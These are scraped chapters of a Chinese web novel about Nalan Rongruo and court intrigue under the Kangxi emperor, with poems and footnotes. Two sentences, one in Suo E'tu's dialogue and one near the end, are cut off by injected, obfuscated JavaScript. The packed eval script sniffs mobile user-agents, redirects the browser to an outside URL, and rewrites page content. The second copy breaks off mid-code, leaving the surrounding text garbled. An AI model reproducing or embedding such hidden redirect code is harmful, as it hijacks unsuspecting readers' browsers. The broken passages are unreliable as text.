等到袖云拿了折子过来,张纯修已经研墨完毕。 容若边写边道: “张岱之事,无巨细,纳兰父子亲查;裕亲王福全之心,无黑白,请皇上以施道渊施道人之述为鉴;纳兰体调(注:身体状况),无好坏,足惜与否,仰见天日。” 张纯修低头一看,好在是容若所写非所言,不然康熙皇帝透过“仰见天日”四字,必将读出些:纳兰的不满之情来。 袖云对着公子的笔墨念道: “前明士人,以类聚,不可小觑,今吴三桂之子吴应熊和朱三太子皆是行踪不明,有已经逃往台岛之嫌,皇上不可大意。故而捉拿张岱审讯之事,不宜大动干戈派官兵四处搜寻,而应在探听确凿情报之后、交由明珠父子率少量精兵而动。张岱归案,宜皇上亲审亲断以服众。” “裕亲王之事,明珠父子一切以皇上圣裁是从。期间曹侍卫所搜罗之情报、施道渊所笔写之招述、皇上自身所思悟之始末,皆是可供参考的凭证。此外,还请皇上勿忘王爷在战事之上的本领,日后钦命王爷效平定三藩之劳也未尝不可。请皇上多做思量,一时棠棣相煎,后患无穷,止损当宜看将来。” “公子运筹帷幄,出手就是佳策。袖云这就去回了老爷。” “好,就把阿玛把这个呈给皇上看。至于皇上看后是什么反应,叫阿玛不必跟我说,皇上要是有心,自然知道我在想什么。” “是。” * 窗外,一朵玉兰花落下,容若仿佛听见了声音。 他走到窗户边一看,不禁道: 卧榻看花花不动,转身伏案闻花语。 玉洁不与万红争,还笑柳枝惜絮缕。 愿君多看冰清蕊,莫嫌残瓣作孤旅。 握笔待题珠玉词,幸无莺语催别离。 张纯修缓缓展开画卷,上面的恢宏景致,乃是有“残春万般意,楼上日衔窗”之称的岳阳楼。 容若对此大赞,一言盖胜千言,道:“张兄之画,让我如临其境。” 张纯修朗声道:“你一直想离开京师、走远一点去看看外头的风景,我没法跟你共赴天涯,就只好把天下你所未涉足之处的风景都画给你。” “我相信,张兄所画的就是实景,绝对不是凭想象而成。因为张兄读过许多书、听过许多话,胸怀和见识跟普通人不一样。可惜我无能,上不能逆父反天子、下不能为爱抛家弃母,这一生都是池中鱼、笼中鸟。” “别这么说,很多地方你去不了,但是很多地方的百姓却在共沐你的慈悲心。总有机会的,康熙皇帝不是个志在四方的圣君吗?以后指不定他就会带着你四处走,天南地北都留下印迹。” “张兄莫说我悲观,皇上即便是带我走,也多是在刻意掏空我的身体,不是为了让我开眼界和享圣恩。我是明珠的儿子,我都知道。” “机会来了就不要放过,忍着痛的快乐,也是快乐不是吗?” “没错,是这个道理。” “古有范仲淹写下《岳阳楼记》、杜甫吟诵《登岳阳楼》、孟浩然佳作《登洞庭湖赠张丞相》,连容若你最敬最爱的诗人李商隐,也写下了名句:欲为平生一散愁,洞庭湖上岳阳楼。” 说着,张纯修将毫笔交到容若手中,笃信道:“到了大清,写岳阳楼写的最好的人,必定是你。” “承蒙张兄看好。” 容若写下了名篇《水调歌头·题岳阳楼图》。 落日与湖水,终古岳阳城。登临半是迁客,历历数题名。欲问遗踪何处,但见微波木叶,几簇打鱼罾。多少别离恨,哀雁下前汀。 忽宜雨,旋宜月,更宜晴。人间无数金碧,未许著空明。淡墨生绡谱就,待倩横拖一笔,带出九疑青。仿佛潇湘夜,鼓瑟旧精灵。 “好一句:半是迁客数题名!”张纯修击掌而赞,“此句必将流芳后世。” 容若谦虚道:“是我对自己憾失殿试的呢喃之词罢了,算不得好。” “情真意切,如何不好?”张纯修将词作反复看读,“你笔下的景与情,再无后来居上之人。” 【注1】 第一联:天寒料峭的春日,纳兰寒疾发作,见好之后,所见的是:一面几折似重还轻的屏风、施道人求雨之后留下的微凉天气和遮住了外景的帘子。 第二联:纳兰与颜氏夫人袖云相处的好,她是唯一一个完整陪伴过纳兰一生的女子。 第三联:纳兰出去观赏丹枫树,不忘带回几片最好的枫叶来给袖云;纳兰参加会试提前交卷,是为了去取珠钗送她、陪她一起过生日。环佩和木瓜,也是来自公子的心意。 第四联:袖云跟纳兰成亲后,一起走过十年。纳兰仙去后,年年七夕,鹊桥横空,思君之情,皆付旧梦,唯以温得首首《纳兰词》的方式消解。 95.第95章 明珠父子坐在渌水亭畔,聊天赏景吃点心。 管家来传话:“启禀老爷,徐乾学徐大人送来了一篮新鲜的樱桃。” 明珠看了眼管家手上的东西,问:“他怎么说的?” “徐大人说:爱徒容若刻苦自励,潜心向学,一时坠入病窟,错失状元之名,实在是时运不济,令人惋惜。但是在本官眼中,状元之荣仍旧属于容若。” 明珠发出一声冷笑,道:“徐乾学这是明赞暗贬,说我明珠的长公子功败垂成,抑郁寡欢,还得靠他这位‘恩师’的鲜果来做安慰了?” 管家问:“请老爷的意思,是将徐大人请进府内?还是叫他先行回去?” 明珠看向容若,“你说呢?” 容若宽心道:“樱桃不易保存,有‘果中骄子’之称,徐乾学的意思,无非是讽刺我这个‘天之骄子’差了临门一脚。但我也不能让他:有心气我,败兴而归。” 容若拿起桌面上的笔墨,写下一首《临江仙·谢饷樱桃》,词曰: 绿叶成阴春尽也,守宫偏护星星。留将颜色慰多情。分明千点泪,贮作玉壶冰。 独卧文园方病渴,强拈红豆酬卿。感卿珍重报流莺。惜花须自爱,休只为花疼。 容若对管家道:“金叔,你将的词作交给徐乾学,就说是容若谢过恩师的心意。徐乾学自然会自动自觉离开明府。” “是,公子。” 明珠赞许道:“一个‘饷’字,足以见得容若懂礼谦逊,把汉字和汉文化拿捏的极好。那徐乾学活该悻悻而归。” 容若慧识道:“儿明白,不可以戳破一切,还要给后世留下一段备受赞誉的‘师生佳话’来才好。” “那徐乾学要是有心记挂你、关心你、勉励你,”明珠拿了一颗樱桃来吃,“就该有点为人师表的样子,在翰林院、在圣上面前为你说说话,而不是叫自己的弟弟徐秉义当了新科探花。” “好吃吗?”容若问明珠,“儿也尝尝。” “徐秉义成了翰林院编修,本官手下的高士奇盯着他。高士奇说,徐秉义跟他的两个兄长不同,不好权术,为人低调。之前张英嚷嚷着要辞官,如今倒也安份了,每日勤做学问,两耳不闻窗外事。” “翰林院是儿向往的地方,只是想及将来,儿胸中小有迷惑:若是皇上不给纳兰翰林之实,却给纳兰自由出入翰林之权,儿该如何是好?” “你瞧着翰林院的人和里面的书合不合心意,打不打交道、阅或者不阅,由不得你的性子和心情,参照着时局和大局来就好。” 容若半低头,“儿只是觉得身份尴尬。” “将来的事情将来再说。”明珠擦了擦被樱桃染红的手指,问儿子,“只今你有什么打算?” “眼下当然是帮阿玛把两个难案办好,未来就是写文章、编撰经典、结交友人,反正是:似闲非闲,一身为书;君侧待记,心灰未灭,死而后已。” “别随便说一个‘死’字,你额娘心疼、两个小弟弟舍不得你常住天霄。” “是。” “这樱桃尝着不错。”容若吃了三颗,“只是外观和口感相似于:我借阿玛的名义送给施琅大人的那一篮【注1】,滋味却相异罢了。” 明珠这才知晓,“你什么时候借我的名义——” 容若预见道:“皇上终有一日要收复台岛,施琅大人必须是明党的人才好。” 明珠语调兼急:“你,怎么不事先跟我商量?” “如今阿玛知道,可是觉得晚了?” “这倒没有。你是为我好,我明白。” * 皇城。延禧宫。 惠嫔无一日不牵挂容若的情况,她甚至觉得,自己的位分跟表兄的安好相比,根本不算什么。 风吹冷花落,痴心人几度相思? 惠嫔轻轻晃动摇篮,大阿哥胤褆安睡其中,她轻道: “额娘只想你一生平平安安,像裕亲王福全那般做个贤王,不要去争夺那高处不胜寒的皇位。你不知道,额娘和表兄背负着各自的责任有多苦,你出生在皇家,境遇已是不易,将来的一切,平稳度过最好。” 惠嫔心想:儿子做个贤王,自己做个贤妃,等到儿子娶了福晋,自己能够与福晋和孙辈们说说话,宽解深宫寂寥,就算是所求所得了。 康熙皇帝。伯父明珠。 惠嫔摇了摇头,他俩:一个是非爱不可之人,另一个是非敬不可之亲,哪里比得上表兄容若“惜花”? 花无人瞧花自悴,叶无雨润叶自枯。 何当迎盼春风雨,却道秋来横雁孤。 掌事宫女远黛入内,提醒道:“娘娘,皇后的嫡长子承祜开口叫了:‘皇阿玛。’皇上喜出望外。” 惠嫔从摇篮边离开,坐到了圆桌侧,“你说仔细些。” 远黛便描述起的场景来—— 御花园中,玄烨看见赫舍里皇后和小阿哥正在假山旁侧观鱼。 小阿哥想用手去扑鱼,赫舍里道:“池水寒冷清冽,皇额娘怕你感染风寒,不如回宫去看鱼缸里的金鱼,免得你皇阿玛和太祖母一并挂虑。” 小阿哥听话道:“儿臣听皇额娘的话。” 赫舍里拉起小阿哥的手,疼爱道:“承祜真是懂事。” 玄烨上前,抱起小阿哥,笑道:“不想皇后和承祜也在此处。朕真该叫禹之鼎过来,画一幅母慈子孝图。” 赫舍里行礼道:“臣妾参见皇上,皇上万福金安。” “皇后不必多礼。”玄烨伴着嫡妻往坤宁宫的方向走,“承祜多亏了你照顾,才能健康成长至今。朕知道后宫之事繁杂,管理不易,辛苦你了。” “臣妾谢皇上体恤。”赫舍里温婉道,“职责所在,后宫平和,前朝才能政,臣妾责无旁贷。” “皇后处事在理,兼顾周到,才能使得后宫诸妃和睦、太皇太后欢颜,朕都看在眼里。近来朕忙于政务,训诫倦怠老臣,重用朝气新臣,还要料理宗亲兄弟之事,难免夜宿养心殿,不翻后宫嫔妃牌子,六宫可有怨言?” “众位姐妹明白皇上勤政为民,没有不满之人。臣妾有一事想提醒皇上:惠嫔的位分进为惠妃之事,太皇太后已经多次过问,是否择日叫内务府挑选吉时来办?” “惠嫔的性子跟德嫔、宜嫔、荣嫔都不同,德嫔温婉,宜嫔娇俏,荣嫔柔顺,唯独是惠嫔对朕——”玄烨神色复杂,“稳重大气,毫无小女子的吃醋争夺。她好似只想做朕的搭档,而不想做朕的女人。所以皇后你说,惠嫔会在乎位分吗?” “皇上要顾及明珠大人的心情和纳兰公子的心绪才是。” “皇后说的是,是该让纳兰家的女子在后宫活出她原本的风貌来,也算是朕对得住明珠父子。” “能够为皇上分忧,是臣妾的福分。” “惠嫔封妃之事,等中秋过后再说。” “是。” 一到坤宁宫,玄烨一把小阿哥放下,就听见了小阿哥叫出口的“皇阿玛”三个字,高兴地连声回应:“好,好……承祜懂事了,确实是懂事了!” “儿臣谢皇阿玛厚爱!” 小阿哥向康熙皇帝有模有样地行了个礼。 “皇后你看,朕这一路上没有白抱承祜啊!在将来,朕也会伴着承祜一起走,一起经风历雨。” “是,臣妾与皇上和承祜同舟。” 当下。 惠嫔听罢这些,心中竟然无悲无喜。 帝后谐美,嫡长子聪慧可期,这是好事呀!大清江山不正是需要这样的后宫佳话和这样的皇子来添一块稳固的砖吗? 再者说,赫舍里皇后确实是秀美端慧,把后宫治理的井井有条,嫔妃齐心所向,是一位真正的德贤配位的好皇后。 小皇子承祜亦是天资聪颖,日后定能成长为阿哥们当中的佼佼者,承前启后,扛起祖宗伟业。有这样的、可以寄以厚望的好儿子,难怪皇上心情大好。 “娘娘。”远黛唤了一声。 “本宫为皇上高兴,仅此而已。”惠嫔走出宫门,望向天外,“本宫一直惦记着表兄,不知表兄功名憾错之后有无将心结彻底揭开,想要出宫去看他。” “娘娘,此事万难。”远黛劝阻,“一旦被人发觉,您跟容若公子都是死罪。” “这天底下,真正懂纳兰心事的有几人?”惠嫔用护甲轻拨院内花卉的叶片,“表兄当下寂寞的很,本宫知道。” “容若公子会自寻消遣之法,哪怕是明珠大人不全懂他、皇上不见他、那个来历不明的宛姑娘也不理他……” “等着表兄自己这么消耗下去,就晚了。” 说罢,惠嫔就开始思量起“出宫之计”来。 * 索额图父子登门拜访明府。 明珠一脸假笑热情,以礼相请,设座正厅。 《采桑子》 桃花羞作无情死,感激东风。吹落娇红,飞入闲窗伴懊侬。 谁怜辛苦东阳瘦,也为春慵。不及芙蓉,一片幽情冷处浓。 索额图指着不知从何处得来的、誊写版的纳兰词作道:“春光去、芳菲尽、花瓣落、身消瘦、人情冷……公子如此自伤自怜,可是不忠不孝啊!” “索大人误会,容若不是说吹入窗帘的桃花不及渌水池里的荷花,而是自知芙蓉镜落【注2】,允许自己写几句懊恼的话罢了。” 索额图摆出悲伤的脸色:“哎呀,落第之人自有落花之感,公子不必强行辩解。” “我不必辩解,日渐消瘦是事实,每每爱花感花也是常态,可惜东风吹来的只是花瓣。” 而不是入宫召唤。容若又一次懊恼起康熙皇帝来。 ——感激东风,吹落娇红【注3】,飞入闲窗伴懊侬。 ——皇上,臣这首词的上半阙,就是刻意写给你看的,臣的烦恼就是你挑起的。 格尔芬乐观道:“我不解纳兰心事,但我解纳兰心情。纳兰兄,这是想娶妻了呀!” 明珠和索额图大惊。 “索二公子,你何出此言呐?”明珠问,“莫非是我儿容若对你提起过意中人?” ——不及芙蓉,一片幽情冷处浓。 格尔芬笑道:“芙蓉镜是指登科,纳兰兄虽未登科,但是好在身边——有人似芙蓉,相伴相守,幽情自生。” 他抬头看向侍女袖云,她的发髻之间,有菡萏珠钗一枚。 在纳兰容若的观念里和笔下,“芙蓉”从来都是指“芙蕖”,即:清水出芙蓉。 所以格尔芬才有了此论断。 “登科及第和洞房花烛夜,岂非是人生大事?”格尔芬上前,拍了拍容若的肩膀,“纳兰兄,需要惜取眼前人啊!” 袖云低下了头,心中源源不断地涌出对公子的爱慕之情,脸上却不敢流露出分毫,只将眼角的余光落到了公子身上。 再看容若,笑意盈盈,似拥春风,就跟默认了格尔芬没有说错一般,真有了为自己的终身大事做考虑的想法。 “儿啊……”明珠唤了了一声,“你这是?” “阿玛,容若的词作本就有多种解读方式,都好都可以。” “可你的笑容怎么谁都看不懂啊?”明珠问索额图,“索大人,我儿的笑容,你可有什么说法?” “明珠大人,你不是许久未带贵公子来众臣面前炫耀了吗?是不是逮个机会把贵公子带出家门、带到朝堂上去?”索额图挤出一个平和的脸色,“有皇上坐镇着,大家都知道贵公子——不是状元胜似状元。” “索大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091295|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这番言不由衷的话,本官听着无比舒心。” “咱们好歹是见识了贵公子‘千金难买’的病后笑,福气比皇上大。” “索大人你可是说对了,容若病后的春风一笑,真是你我共见,难遇难得,胜却天子无数。” 容若先行告辞,独步去了花园赏花。 索额图仍旧是厚着脸皮留下,跟明珠心口不一地对聊。 站在地栽的水仙花边,容若对袖云道:“我没事了,我多着春风,大家都高兴。” 袖云明白公子的意思,应道:“公子自身就是春风,袖云最幸,时时与共在侧,最得吹拂之感。” “我要振作起来。让太皇太后和皇上都知道:于纳兰性德,没有走不过去的坎,只是错失了机会,又不是没有机会了,下一回殿试好好发挥就是。座师也好阿玛的政敌也罢,那些人刺激不了我,我好好过自己的日子。” “公子这般明澈就好,袖云方才还担心:被索额图一气,公子好不容易恢复的状态又要崩塌,怨恨自己没法在芙蓉镜下扬眉吐气。” “嗯……气嘛是有一点,但听完索二公子的话之后,心情就明亮了。” “啊……公子,那个……” 袖云想说,索二公子话里有话。 “怎么了?” “没有。” “袖云,我们回房吧!”容若懂她的心思,所以决定为她成文章,“我要写一篇《五色蝴蝶赋》。” “公子怎么想到写这个?”袖云觉得容若写特定意象颇是罕见,“公子的词比肩商隐之诗,《蝴蝶赋》可是要媲美祢衡的《鹦鹉赋》?” “等我写完,你就懂我的用意了。” 容若自信一笑,一扶袖云的“芙蓉钗”。 晏晏风雅之中,他率先吟了两句: “斯蝴蝶,或黄如金衣公子,或缟若雪衣慧女;或烂漫若析支氍毹,或璀璨如大秦琉璃……” * 在太监张全保的打点下,纳兰惠儿得以出宫归明府。 康熙皇帝和赫舍里皇后对此毫不知情,夜色之下,帝后正在坤宁宫中共享为人父母的欢愉,小阿哥承祜所带来的笑声,无可比拟。 觉罗氏看到惠儿的时候,赶忙拉着她的手,避开明珠从旁路绕去了容若的房间。 “惠嫔娘娘,此行一定快来快回,长话短说,心意尽到就好。” “伯母还跟往常一样叫我惠儿就好。就一阵子,我见过表兄就走。” 推开房门,惠儿见到容若的瞬间,眼泪一下子就下来了。 算不上是久别重逢,只是彼此心中的一块荒芜之地,像是相互接壤了一般,不再贫瘠,而是万物萌发。 觉罗氏带着袖云默默掩门出去,她道:“一定仔细留意着四周的动静,我去老爷那边。” 袖云应了一声:“是。”便在旁侧望风。 在自己被关心之前,容若先行问了一句:“惠儿,你跟胤褆都还好吗?” 惠儿平静道:“不知伯父是否知道,皇后母子如今盛宠,我和胤褆与之相争的余地何在?” 容若与她一同到双人榻坐下。 “惠儿,我觉得后宫之幸不是得到了多少君恩雨露,而是别人不对你虎视眈眈。我看得出来,你现在只想好好抚养孩子,对妃位和胤褆将来的爵位没有那么执着,阿玛那边我会去说,你不用担心,在后宫照着对的理儿来生存下去就好。” “什么才算是对的理儿?” “对得住自己、做在理的事。” “好,惠儿听表兄的。” “不说惠儿了,表兄你现在怎么样?” “我比前一段时间好多了,想见惠儿也见着了,如今神清气爽。惠儿你说,明日我是去见皇上,还是去见徐乾学?” 惠儿故意一笑,道:“表兄你不去见宛姑娘算好,你病着的期间,也不见她悄着到明府里来吧?” “我就当宛姑娘在为我祈求安泰好了,这样的话惠儿你中不中听?” “作为纳兰公子的女人,自然是个个都不惜一切想为纳兰公子好。宛姑娘如此,我纳兰惠儿也一样。” “惠儿,眼前的你和深宫的你,我都珍惜。但即便是在私下,我也不能对你讲一个‘情‘字,当中的抽刀断水水更流,彼此心领神会就好。” “嗯,惠儿明白。” “惠儿以为,表兄明日去见太皇太后的好。老祖宗耳聪目明,是打着心底里疼表兄的。” “也好,太皇太后保留了我三年后直接殿试的机会,我还没有去慈宁宫谢恩呢。” 就在此时,门外传来了动静之声。 袖云匆匆进来,道:“外头有人影,说不准是谁,请惠嫔娘娘回避——” 惠儿和容若彼此对看了一眼,似乎不愿承认“招惹明珠”或是“招惹别人”前来的巧合。 “表兄,该不会是皇上吧?” 惠儿心中忐忑。 “啊?”容若下意识朝外头一看,“这是个时点,万一真是皇上,那我明日就不是去慈宁宫给太皇太后请安,而是去请罪了!” “我也一样。”惠儿听着越来越近的脚步声,“明日就不是去坤宁宫给皇后娘娘请安,而是作为犯了宫规的罪妃,当众受皇上皇后的罚了——” 【注1】容若借明珠的名义给施琅送樱桃,见第64章。 【注2】人镜芙蓉指成就功名,芙蓉镜落指错失功名。 【注3】感激东风,吹落娇红。 感激:感慨万千,心中尚存激愤。不是感谢之意。 东风:容若隐喻康熙皇帝,欲擒故纵,对自己是故意疏离、也是有意考验。 娇红:容若隐喻状元红榜纸落,未能殿试面君。不是指花瓣零落成泥。 96.第96章 “施道人,竟然是你?!” 容若和袖云惊讶地看着眼前的道士。 纳兰惠儿亦是从深处出来,看向了那位道貌岸然之人。她心中半松了一口气,幸好不是皇上夜临,否则自己第一次偷偷出宫就捅下篓子,真是有愧于每一个出力者和纳兰家。 “本道腾云跃墙而来,快步出声也不过是给公子提个醒罢了。” 施道渊一甩浮尘,道音飘渺,身姿好似个天上的仙尊。他的话的意思,就是自己算到了容若跟表妹私会之事,前来防患于未然。 “高人要提醒容若什么?请讲——” “纳兰父子心善,保住本道性命,所以本道惦记着报恩。本道通晓天机,有一个锦囊妙计要献给公子。” “多谢高人。容若得到锦囊后,必定是焚香沐浴之后,方才敢仔细收好。” “公子有生于浊世而似青莲出尘,本道佩服。” 说罢,施道渊便从身上拿出一个用七彩丝线编织而成的锦囊来,相赠纳兰公子,复叮嘱道:“本道提醒公子,此锦囊只可用在自己身上,不可为康熙皇帝或是明珠大人而拆。且须到了情况万分危急之时,再拿出使用。” “容若谨记高人高言。” 纳兰双手接过珍贵之物。 那施道渊捋须而去,别前,向纳兰公子赠诗一首: 玉本冰清终斑驳,佐帝伟业付山河。 谈笑莫记青衫冷,饮水词歌诉离合。 才情兼得应寂寞,笔墨山河清辉赊。 人间公子天上仙,逐水流逝魂梦折。 是夜,惠嫔无事回到宫中。 才坐下,就听见宫女远黛道:“皇上走后不久,嫡长子承祜忽发高烧,现在坤宁宫已经乱作一团,皇后娘娘没有叫人去给皇上回话,怕惊扰圣心。” 惠嫔觉得此事蹊跷,“太皇太后知道了吗?” “奴才派去慈宁宫打听的人还没有过来回话。”远黛推测,“估摸着苏嬷嬷应是告知老祖宗了。” “你之前不是说,承祜想玩水,皇后娘娘不让吗?承祜又没着凉没受惊,怎么会无端端就发高烧?” “病来如山倒,病去如抽丝,容若公子也一样,染病之事,没个准信的。但是奴才觉得,这回这事,是有后宫主儿在暗地里想害皇后娘娘的儿子。” “远黛,你和嬷嬷要好生照顾胤褆。”惠嫔拿主意道,“天亮后本宫再去坤宁宫。” “是,奴才和嬷嬷会仔细守着皇长子。” * 顾贞观又一次到徐乾学府前大声斥责,原因是:徐乾学的弟弟徐秉义成了新科探花。 徐乾学出来以后,倒也没有解释弟弟的卷子是谁判的,只装模作样地沮丧着脸,大悲大叹: “不管实际结果如何,爱徒容若就是本官心目当中的状元。” “本官准备了一篮子樱桃,亲自登明府来向容若传达此真心,幸得容若情感真挚的谢师词一首,这流芳后世的师生佳话,还得是我徐乾学和纳兰容若(为典范)……” 来演绎。 徐乾学真正想说完整的,是这个三个字。 他一擦眼角,恨不得“声泪俱下”地把纳兰容若的《临江仙·谢饷樱桃》背出来给府前的闹事者听。 顾贞观怒道: “徐乾学,你要是有点良心,就该堂堂正正去明府探望贵公子,而不是拐弯抹角给贵公子添堵。” “你之所以把贵公子当作是自己培养出来的状元人选,不过是想给自己的脸面贴金罢了。你这个卑鄙小人,还敢在顾某面前摆出这副‘兔死狐悲’的假样子来?!” “顾贞观,你敢咒纳兰性德死,本官看你是活腻了!”徐乾学一扬手,“来人,即刻去明府,就说本官将口不择言、见不得长公子好的狂徒抓了现行——” “吾友吴兆骞如今在宁古塔生不如死,吾岂能留世独活?” 顾贞观一挺胸,摆出了自己不怕去明府领罪的姿态。 “你等还不快去?”徐乾学对着几个下人一吼。 然后叉腰对顾贞观数落道: “你的人品能比本官好到哪里去?想利用纳兰性德救友,却没勇气踏进明府一步,你是心虚呢?还是怕一开口就被长公子识破本意?你以为来骂本官、本官就认怂了吗?本官不怂!” “休要将顾某与你做一丘之貉论。顾某对友,以天为誓,借力公子,只欠契机。而徐大人你,竟然在纳兰性德错失殿试的情况下,做出取录自己弟弟徐秉义为探花的可笑之来,真可谓是:假公济私,不放过一丝利己之机啊!” “本官再有能耐,当今的探花也是康熙皇帝钦点的,好你这个顾贞观,连天子都敢不放在眼里!” 顾贞观一气,竟然与徐乾学扭打起来。 此时,恰有一个卖茶叶蛋的老翁经过,那老翁对顾贞观劝道:“先生何需多来此处行无意义之举?两两非善类也。” 徐乾学笑,“老翁你说的好,本官跟顾贞观一样,跟冰清无瑕的纳兰公子比,都不是好人。” 那老翁拿出茶壶一把,道:“容若爱以温茶为饮,把盏之间,不缺名物。今老朽以此壶谕顾先生,顾先生携此物和肺腑之诗一首,可见容若。” 疑信之间,顾贞观成诗道: 吾友梦去忘为客,只今诗成感纪年。 冷暖此君须自觉,无劳更试洗心泉。 “好!”那老翁仙仙乎,预言道,“顾先生可以结交容若矣!” 顾贞观惊然:“此话当真?” 那老翁只应道:“顾先生,你与容若日后的交情之深厚,又岂是史册写的尽和奸佞之师徐乾学所能比较的?你且好好珍惜容若十年罢!” 徐乾学一刮鼻子,不满道:“老翁你何需有意损本官?本官视容若为……” “够了。”那老翁打断,“莫论康熙皇帝,徐大人你才是容若的命数之路上的克星啊!” 言罢,那老翁就轻步而去。 等到顾贞观反应过来,却只见自己手中不知道什么时候多了一把茶壶,原本放置在路边的茶叶蛋挑担,已经不见踪影。 顾贞观自问:“这位老者,难不成是活神仙?” 徐乾学冷笑道:“活神仙是施道渊施道人,与那坑蒙编造大话的老翁何干?” 这便是顾贞观二骂徐乾学,在徐府前偶遇一茶翁,受到茶翁点化而与纳兰性德相交的故事了。 后来,纳兰在得了茶壶之后,回赠了顾贞观一首诗,诗曰: 炉成卷得事天然,乞与幽居置坐边。 恰映芙蓉亭下月,重被斑竹岭头烟。 画如董巨真高士,诗在成宏极盛年。 相约过君同展看,谈交终始似山泉。 * 养心殿。 见自己的陪臣纳兰来了,玄烨摇曳手中茶盏,心情大好。 ——终究朕才是赢家。 ——不必去瞧、不必去问,纳兰自己会把心捂热、再尽君侧之责。 玄烨走到纳兰面前,仔细打量了他一番,只感觉:纳兰除了消瘦了一些,倒也没有别的不同。 “你知道主动回朕身边来了?” “养心殿的侧位空着太久,不好。” “朕不计较你的功名,觉得你配位,你就是配位。” 纳兰问了皇上军国之事:“吴应熊和朱三太子的行踪,皇上追查了数月,有眉目了吗?” 玄烨不甘道:“朕要是查到了,早就先下手为强将那两人都抓起来严刑处置、以告天下了,还会这般顾虑不敢二攻吴三桂吗?” 纳兰做出判断:“既然主动追查没有结果,打草惊蛇亦不知蛇之所在,那就不如静候二者露出马脚。” 玄烨摇头,反问:“他俩不是傻子,怎么可能主动留下痕迹、让朝廷有机可趁?” 纳兰指出:“需哟一个卧底。” 玄烨简要问:“谁?” 纳兰荐才道:“世外高人施道渊。” 玄烨大笑,“你果然是被那道士蛊惑心智了!军国大事,岂容一个道士相乱?” “臣没有乱说,汉人一向信奉黄老之说,尤其是休生养息之论,更是他们称霸天下后所打出的旗帜当中的一展。施道渊不是个普通的道士,他有安邦定国之才,可以相助皇上找寻吴应熊和朱三太子的踪迹,等到音讯传来,皇上可下令让裕亲王福全带领一众人马,将此二人捉拿回京。” “要是福全不是去捉拿贼寇、而是去跟贼寇联手反朕,纳兰性德你担当的起吗?” “王爷要是想反,前明乱党逼宫之日他就反了!皇上仔细想一想,凭王子笼络的人才和手中所掌握的兵力,难道不是时时刻刻都有将皇上你拉下皇位之嫌吗?皇上不会真的以为:王爷只是在蓄力想反吧?恕臣直言:王爷是有可以反的实力而未反。原因就是——” 纳兰指向康熙皇帝桌面上的旧时《兄弟嬉戏图》,继续道: “他在顺治皇帝面前承诺过:福全不想当皇帝,只想做一代贤王辅佐圣主。” 玄烨数次徘徊,斟酌着纳兰的话。 难不成真是朕多心了?福全还是朕的好兄弟,竭诚尽节,从未变过? 朕为了江山万卷图,就必须仰仗好兄弟吗?到底是纳兰的话可信,还是福全的人品和节操可信? 纳兰道:“皇上的当务之急就是揪出吴应熊和朱三太子来,其他困扰社稷安定的案子,臣和阿玛明珠会替皇上分忧。另外,索党之人也不宜闲着,皇上应当安排索额图去‘飞书谏管’远在广西罗城的于成龙。” 玄烨问:“怎么,还因为于成龙得罪过你阿玛明珠而记仇呢?” “仇是有,但现在臣是为大局着想。臣不瞒皇上,‘花鸟风月楼’的线人截获了于成龙弹劾明珠和索额图的折子,上面写的是:明索党阀,利欲熏心,放任地方官加征:火耗之款【注1】,数额巨大。” “朕知道你的意思了,会叫索额图给于成龙提个醒:火耗归公是朝廷该管的事,不是他凭个人蛮横的骨气就能叫嚣的,这家伙,就是不知道自己跟明索两党过不去的同时,也扫了朕的颜面。纳兰你放心,朕心里有数,是该让索额图去斗一斗于成龙,水深火热后才能浴火重生,让他自身和明珠都有所反省。” “臣谢皇上不罪明珠。” “你呀,就是一心为父,知晓明珠的错事与错行,又潜移默化地借朕之力来为明珠止损。” “臣活着的时候,能为阿玛做的,只有这些。多谢皇上成全。” 纳兰才坐下,展开康熙皇帝赏赐的《步辇图》真迹【注2】来看,外头就有一个慈宁宫的掌事太监匆匆而来。 “没看见万岁爷要跟纳兰公子一起赏画吗?”顾总管对那掌事太监道,“怎么失了规矩?” “启禀万岁爷,昨夜万岁爷预备早朝离开坤宁宫后,皇后娘娘的小阿哥就高烧不止,情况甚危!太医院众人束手无策,太皇太后已经过去安慰皇后娘娘了。奴才来传太皇太后的意思,请万岁爷即刻摆驾坤宁宫。” “混账东西!”玄烨踹了那个掌事太监一脚,怒火中烧,“昨夜怎么不来说?” “奴才是慈宁宫的掌事太监,不是坤宁宫的人,所以知情的晚。” 说罢,那个太监朝康熙皇帝连连磕头,请求恕罪。 纳兰催道:“皇上快去看皇后娘娘和小阿哥吧!” “你回家去吧,留下来也没用。”玄烨记挂嫡妻与嫡子,满脸焦急,“朕今日不会再回养心殿了。” 待康熙皇帝和顾总管等人都走后,梁九功问纳兰:“公子,您是回府?还是留在这儿继续看画?” 纳兰决断道:“我在宫中多留一会儿,真怕后宫会出大事,影响君心。” * 纳兰一直呆到傍晚,也不见梁九功进来回话。 就外出问他:“皇上那边情况如何?” 梁九功如实道:“奴才也觉得奇怪,照理说皇嫡子重病是大事,早应传开了才是,这回却是消息未走出后宫,无人议论。” “我看是皇上派人去查没查出病因、审问宫人也没问出事发之因的缘故。”纳兰提醒梁九功,“梁公公,这事非同小可,皇上那边你不必去问,只等着顾总管的吩咐就好。” 梁九功对公子一向信任,道:“奴才记下了。” “那我就带着《步辇图》回府了。阎立本的画当真是好,我看不够,还规划出了不少盖章的位置。” “公子打算盖几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“公子有编撰《古抄本十二卷》的珠玉之美和校成之功在前,又岂会对先儒有失?本官愿与公子一同,反复考订,共成旷世之作。” “容若想以《通志堂经解》来命名这套丛书,吾师以为如何?” 